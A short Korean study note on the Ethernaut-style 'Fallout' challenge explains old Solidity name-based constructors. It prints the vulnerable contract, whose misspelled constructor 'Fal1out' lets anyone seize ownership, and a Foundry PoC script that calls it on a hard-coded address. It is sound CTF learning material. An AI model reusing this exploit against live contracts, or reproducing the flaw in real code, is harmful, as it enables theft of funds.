원래 옛날 솔리디티에서는:
contract C {
function C() public { ... } // 이게 constructor
}
이런 식으로 “컨트랙트 이름과 같은 함수”가 생성자였다가,
문제 같은 버그들(typo, 이름 바뀌었는데 constructor 안 바꿈 등)이 너무 많이 나와서
👉 요즘 버전에서는
contract C {
constructor() public { ... }
}
이렇게 키워드 constructor로 강제하게 바뀜.
근데 구버전/학습용 코드, CTF, 레거시 프로젝트를 보면
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Fallout {
using SafeMath for uint256;
mapping(address => uint256) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}
로직 정리
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";
import {IFallout} from "../src/Fallout.sol";
contract PoC is Script {
Counter public counter;
address public target = 0x6f2B8CD2290bA90834B894b740a558213217E7E7;
uint256 pk = vm.envUint("PRIV_KEY");
function run() public {
vm.startBroadcast(pk);
console.log(target.balance);
IFallout(payable(target)).Fal1out();
vm.stopBroadcast();
}
}